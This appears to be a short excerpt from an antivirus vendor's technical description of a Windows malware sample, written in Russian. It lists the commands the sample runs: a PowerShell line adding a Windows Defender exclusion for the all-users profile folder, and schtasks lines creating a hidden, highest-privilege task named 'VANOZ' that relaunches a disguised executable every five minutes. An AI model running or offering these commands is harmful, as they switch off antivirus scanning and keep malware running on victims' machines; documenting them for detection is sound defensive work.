Техническая информация
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -Command Add-MpPreference -ExclusionPath '%ALLUSERSPROFILE%'
- '<SYSTEM32>\cmd.exe' /c schtasks /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "%ALLUSERSPROFILE%\Explorer\VANOZ.exe" (со скрытым окном)
- '<SYSTEM32>\schtasks.exe' /create /f /sc MINUTE /mo 5 /RL HIGHEST /tn "VANOZ" /tr "%ALLUSERSPROFILE%\Explorer\VANOZ.exe"